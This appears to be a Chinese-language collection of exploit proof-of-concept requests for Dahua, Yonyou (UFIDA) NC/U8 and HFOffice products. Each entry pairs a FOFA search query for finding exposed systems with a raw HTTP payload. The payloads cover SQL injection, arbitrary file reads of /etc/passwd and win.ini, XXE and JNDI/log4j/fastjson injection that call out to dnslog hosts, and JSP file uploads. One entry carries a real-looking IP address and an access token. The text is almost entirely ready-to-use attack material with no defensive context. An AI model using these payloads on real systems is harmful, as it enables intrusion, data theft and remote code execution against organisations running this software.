" s% b/ u9 J% v: }Accept-Language: en
; K- F* i$ M! ~sec-ch-ua-platform: Windows
Accept-Encoding: gzip
4 M7 Q3 I1 p& h# h7 K2 H

16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
) l( w1 v  q  |1 Opoc中调用函数计算1234的md5值
# X9 W% `/ `. W7 p# D+ o& z/ B# o* JGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
+ z2 `8 l! Q2 ]# v3 U: @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
* k( j0 A4 N6 {* h; TAccept-Encoding: gzip
! c0 Q( N+ H, E$ A. t7 n

( E, z7 T; |0 |3 \" R0 C17. 大华 DSS itcBulletin SQL 注入
$ g( j5 \! D1 AFOFA：app="dahua-DSS"
  M. f6 B1 g- f; g# |9 KPOST /portal/services/itcBulletin?wsdl HTTP/1.1
7 |3 ~! R9 X/ S' s4 I3 g* r8 MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip

+ z6 f* m) i( f6 s5 l<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
% M" h6 J) u( N2 E* e9 G<s11:Body>
' A( G- I/ C1 ?( j$ R6 ?0 L6 ]    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
0 i  [- {+ I( ^/ N$ ]      <netMarkings>
, b$ s+ T& c3 O# i6 A0 ~       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
: v1 I. a0 W' X      </netMarkings>
! c5 |# \% }4 n: d    </ns1:deleteBulletin>
8 ^% j; B) {. r7 P- k( W  </s11:Body>
5 G" W0 {1 f. p' r/ |7 D% p" c</s11:Envelope>
# v; B" N: J1 `- l7 h
8 L- j& D4 g  k
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
6 K' r$ p# m9 K# S" U6 sGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
! K: ?0 o, V/ ?: B" c8 YHost: your-ip
  t1 B; L9 o+ p4 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. }9 U2 I6 H3 e# a' O/ y( Z$ k( ^Accept-Encoding: gzip, deflate
3 b( T( q, E* m+ D3 VAccept: */*
, [$ j2 S$ i: EConnection: keep-alive
0 x$ @9 y" T5 P1 z6 ~

2 N$ Z4 F! w. d
4 [+ u- ?$ R1 I1 z) C/ r' M19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
* O- H+ }& t  w7 e" {FOFA：app="dahua-DSS"
3 q6 e5 }" D, l# _GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
) m. [0 l4 j' |+ X* LAccept-Encoding: gzip, deflate
' F' Z2 c6 ~2 D: b5 DAccept: */*
1 e% q' p  u0 N* F3 sConnection: keep-alive

4 x- h% B+ u! F
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
( G: N" l" I& QHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. T5 N, W3 ~7 e( I! w# BConnection: close
  y8 q* i, T' F) B: J2 ZAccept: */*
7 [8 g6 t8 x. N% P+ PAccept-Language: en
: E4 Q  u8 m8 t5 M, K# DAccept-Encoding: gzip

& |: U/ C$ X: s8 F
; ^2 m* P) _% o7 L8 F/ l1 ~21. 大华ICC智能物联综合管理平台random远程代码执行
8 f. i  }( s  x9 v- bFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
! U: J5 |( |6 D0 ?/ |Connection: close
- W* P2 O# s( Q* h! `/ Y% F! ~5 |Content-Type: application/json;charset=utf-8

* T2 D5 N9 ^) E( \' A; y- Z# C{
4 n# Z" B  b. Z"a":{
/ w5 _5 ]% ~) {' v1 g   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  O0 t; G# M; ^2 P, B  }""
}

- [" \- O; S- C( ]4 m
0 q5 a$ _0 \0 y+ j+ `7 c4 A22. 大华ICC智能物联综合管理平台 log4j远程代码执行
+ }; `9 c8 J# W+ x: N( E& N8 `FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
. `& B& o0 w2 H, j& k- ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: z+ T3 S, K4 p0 KContent-Type: application/json;charset=utf-8

{
: v: r6 }; W5 O" R7 E4 g0 `2 _"loginName":"${jndi:ldap://dnslog}"
! e- O9 D" O) x4 h, s& p}
4 Y1 x* \( V  D% L/ s5 T$ r2 d8 P


' v. \9 V6 `0 k! Q23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
* ]* M0 x) x2 |1 q  `- NFOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
( [9 `/ i& Q4 B7 kHost: your-ip
% V1 u6 b* }+ L# A7 E* }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# R* _5 _1 U% q+ M+ B7 YContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
. }! @( _8 ]9 _" n2 \9 }9 e3 wConnection: close

{
  L. p+ C1 ]% m    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
% ]; Y9 Z& Z; a- {  I- t}


9 R) h& \+ g2 x: b- F24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
* R, b. Q- r: V' V2 X# I6 s, WPOST /aim/equipmap/accept.jsp HTTP/1.1
- B' U8 g' Y7 S( X5 x2 V- @5 U2 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
3 V& f; G8 O9 t; F, v+ H) i5 ^Connection: close
9 C) S. S- y7 S3 G8 T+ _2 |4 ^& bContent-Length: 449
Accept: */*
Accept-Encoding: gzip
! H  @. ^7 T8 [- {Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
. {* {; b% h8 c& ^) ~) r
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
% g! x9 R6 V, _) I2 u  |Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
! ^/ J* r+ n6 [/ W3 w% n( h/ qContent-Type: text/plain
# r2 u- \( ?. h9 l& \- X! t! e
- x' ~# ]3 K' b& j; L<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
2 g7 \8 `! e0 _: e-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
+ i0 u0 ~) ]' f7 h. `# Y
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
! E  l4 p% |# S7 i& ]3 |$ J1 Y2 _
7 @: z" P1 t  [5 H( k) p
3 b% _8 O: ^" W7 Z25. 用友NC registerServlet JNDI 远程代码执行
- d4 u, T/ H7 t; YFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
& z0 ^: q9 J. p. x* oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
% E  R" a  w4 Q5 V3 N( p2 w9 PAccept-Encoding: gzip, deflate
9 u8 _9 [: y3 s5 w. tAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
$ r' ^, @- p/ u0 y% K


  t5 U$ d1 g  ]8 Z2 E26. 用友NC linkVoucher SQL注入
4 {: t/ K% D5 OFOFA：app="用友-UFIDA-NC"
# D2 k- p2 C9 {2 }7 r- c( a/ T* r( a# gGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' }9 R# |. M  H" T5 [Content-Type: application/x-www-form-urlencoded
; s, p0 Z3 Z; W! w0 \' s, Z5 AAccept-Encoding: gzip, deflate
Accept: */*
/ P4 w  Y, P; AConnection: keep-alive

" R7 R* I8 X2 N' q% |4 l
( v8 H/ u" h0 W; n6 Q) ]6 M( Q27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
$ g" K0 i) o" m5 FHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
& c; P7 S" R* V% s/ R) |% |
( b1 R1 x- o2 A9 `( G
: {7 e. S7 u$ R6 p1 r0 x; R28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
3 p6 I  S) n/ ~5 iHost: x.x.x.x
) f2 N4 P7 H+ r9 f% C, u" jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
6 `3 U8 T0 Q! a7 EConnection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
! j. W5 P9 Q6 q9 {3 d& U/ m' UAccept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

4 F1 N: A2 p) P& j<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


; G1 A# O0 G0 @. k7 R/uapim/static/pages/nc/head.jsp
' }3 {. g* d) |) E
6 S: n$ |$ X3 n' _& L. j. \29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
' t+ `! P! F3 [) IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 q: q8 p7 c  P2 Y1 M" KContent-Type: application/x-www-form-urlencoded
% s7 ]4 e5 E0 Y& o9 OAccept-Encoding: gzip, deflate
, ^5 p+ [# W' w8 H) H1 UAccept: */*
' p/ p* ?/ m* oConnection: keep-alive


. }4 _8 D, w* d9 y% R30. 用友NC importPml SQL注入
+ d1 p! [  {: I* m- o& H" uFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
7 S1 h! G6 I2 m0 }; m% @Connection: close
9 E2 r0 R  F4 P# D6 d
) e5 {4 _: P8 F2 {& `2 Z# B, ?------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
; q0 \3 i# H  `* d5 s8 S
3 n! v, i( v; b: a1 u4 n
31. 用友NC runStateServlet SQL注入
2 L2 V. c! M. N6 m, Uversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
3 E' O+ C' d+ e  F: fHost: host
  D) O8 d2 U1 w1 }% \( sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
7 b- o0 Y) A* {: {- n9 TContent-Type: application/x-www-form-urlencoded
0 t0 h2 k* ]" Q2 G
; W: Z# y& d& }2 @
32. 用友NC complainbilldetail SQL注入
2 ]5 |8 A& R) v6 L7 ^version= NC633、NC65
7 z# [, _9 y5 h* N6 _$ f6 m2 qFOFA：app="用友-UFIDA-NC"
+ r) P0 x  X, b5 }5 Q1 EGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
* c. a$ s9 d, rHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  `1 a" i* c! r: S8 u+ sContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
5 R- F1 P) v7 F* ]* u
. t$ v7 N5 @6 a
4 T# [4 w$ {4 ~% o9 m33. 用友NC downTax/download SQL注入
, F) m7 }, J8 R$ j' X1 P8 @/ xversion：NC6.5FOFA：app="用友-UFIDA-NC"
: R: Z- c* r2 f; I* q, B) ~GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
' w  [/ j. q  g4 m; k- P0 m* j4 A( eHost: your-ip
) m0 k. E$ H: |4 G4 a( |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
1 Z. |) P) `. z3 t4 X2 EAccept-Encoding: gzip, deflate
Accept: */*
2 u! O. R7 w# N) }5 T6 L; zConnection: keep-alive

+ s9 t3 w( X: N
34. 用友NC warningDetailInfo接口SQL注入
- w$ M: R  F2 }$ i. E5 jFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
4 m. o6 G% p1 m5 z& @) vHost: your-ip
' z2 N! S/ Q% x' \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
( f' v1 Y4 T2 i" Y! F2 AAccept-Encoding: gzip, deflate
4 n; e) p/ L- VAccept: */*
: C, G' L- ^# [1 Q- oConnection: keep-alive
* r- V5 }# |" M, l6 M

7 A8 ~5 J* K2 K# B0 {9 {35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
) d$ k0 Q. I2 K3 z, V3 L3 f- IPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
' M3 R( W; y3 k4 ?Accept: */*
( r$ Y! @+ x" ]& `Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
( ?8 `! e& R# a1 N' g6 }Content-Length: 190
& w$ o# q" H  W/ {( R  K+ AContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

+ s( O- B3 w: ]* D6 |8 s% j! V--fd28cb44e829ed1c197ec3bc71748df0
8 G' v8 G9 O/ \% Y3 K9 RContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

6 H* t/ @% E& H  b<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
( x$ g. U$ z( K- Q. P$ w/ dPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
0 J9 X, A% ^$ ~: CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
! S1 N( f) N5 u9 H3 D' e: wUpgrade-Insecure-Requests: 1

# E! \% T! K" P+ M. Lmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
! I8 j' i2 @0 X4 F0 S4 o7 i: zFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
. _# G4 q: p- z( W* V: g" KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
$ p6 d( i7 E1 ?6 RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
3 q0 W4 @9 Y$ vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 N/ v% c$ S; r) ^0 uConnection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
7 |7 ]6 Z! c( i6 o2 M0 {) Y" p
! ~; r) k3 n, e. P' {7 g<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
1 ?9 L* t0 R( X: B$ i<soapenv:Header/>
* a' I4 f. I' [5 J9 e8 M; F/ ?( N  y+ B<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
# U. G8 P3 |& |: a<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
$ j+ n# n! K2 n) F' u+ S) G<xxx/>]]></iup:string>
</iup:getResult>
) i* T1 k3 `2 K, M2 i</soapenv:Body>
# P. `8 Y/ e8 h* F" V( a4 i; @</soapenv:Envelope>


# ~- f3 O: |( t; l! l. i
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
3 I/ z5 o) n9 O* D$ NPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
/ }3 r) H) ~6 s$ ?- {8 ~8 S- eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
4 m$ ], x  v2 I# DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
2 F5 @* @% {/ |% p. B0 ^! S: r  t
* O! ~8 H% I3 A0 n__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

, R# _$ N0 ~+ Z" Z  R
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
4 j1 z" x+ i9 Q, n1 D4 }) G. @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
3 {3 T, t' S. M2 r( b% ~- DConnection: close
Content-Length: 85
* U# `5 b  J4 \$ P; C) DAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
- }: t1 X) i" K  B( {0 e1 @8 oAccept-Encoding: gzip
7 V. f( |# L9 E
5 j! P8 d+ l+ J8 e: X' Ausercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
# C9 `) J. A5 t9 a' p9 k
: z3 K7 x, w8 ?
, g2 l2 A* \* U% c; k40. 用友U8-Cloud XChangeServlet XXE
* N+ r- E6 r/ y7 h8 p3 |FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
, L% F1 t0 z" z4 d7 }6 W" d0 D( W4 }Host: x.x.x.x
% k# |7 j9 B1 X" }" o. PUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 Y. p% W3 u3 ~8 ~: j& ?7 b' [Content-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
) D* C, A; M& O/ \# ^( l

. u* ?/ Q- Q7 w+ h6 p+ }7 U41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
6 y9 }+ Z! L  R0 i5 S0 fFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
( l  ?# j8 F! `: w1 H2 SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) B3 q* z1 J4 K5 v7 B4 N# {Content-Type: application/json
5 R- X8 H2 n( j& l. q' @" T0 P$ u7 ZAccept-Encoding: gzip
Connection: close

9 t9 t; [0 z6 `
  ]  L  {5 Q" y& P- t42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
1 L0 I! I1 S% ?% |" n, XPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
4 M! U/ E( Z' |  W9 D0 I* wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
; m2 \; i% l6 F- a4 E

http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

, U& _7 F6 H. g43. 用友GRP-U8 userInfoWeb SQL注入致RCE
7 q/ M# j' {# U' b: e& D( @; ?FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
- X7 X! E$ X/ z) y( f8 wHost: your-ip
: w8 }# N2 ^! U* q8 B; aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
, u# ~& H0 w  p, ~, vAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
; w% I1 j' N0 `( d9 o* {1 ZContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
' f. E1 H. N$ p1 x+ H   <soapenv:Body>
& L- W, N6 e. [# b/ a! g: {7 n      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
& {; @/ v: S. n3 a- z; N! G- a  u         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
: P2 R$ s+ v( M% Q. T      </ser:getUserNameById>
% L0 ?- j4 c! {, |1 g& J, G   </soapenv:Body>
4 V8 q6 K9 S2 ]# X3 t</soapenv:Envelope>


6 E4 V0 o! {8 V9 k" C44. 用友GRP-U8 bx_dj_check.jsp SQL注入
, W% u' u) b) Z' V. t' pFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
- r4 Y. M5 i  T. \Host: your-ip
* e8 N. u6 j7 |' R% ?+ rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
- x: m0 u6 _7 S7 d0 R9 TAccept-Language: zh-CN,zh;q=0.9
Connection: close
4 D' q1 [( c; I

  U7 y& b- z* S" ^2 l8 N4 W: u45. 用友GRP-U8 ufgovbank XXE
1 {7 O/ x9 T$ }& d% ^& ]7 z' zFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
& W6 S. n% O4 G+ [2 ]. X6 y: [" D- VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
' U: \4 {* |7 Q) [2 K' o3 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' N* W3 }  X- i8 c  j) v8 [Content-Type: application/x-www-form-urlencoded
4 T  ?& ?7 Z8 C% X5 Q2 OAccept-Encoding: gzip

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

$ r$ n% H: E( o) @, N$ Y
6 P0 y4 ^; {; ]( }6 U0 @. `! K* G- F5 U46. 用友GRP-U8 sqcxIndex.jsp SQL注入
: s2 n' n' C3 {$ N# DFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
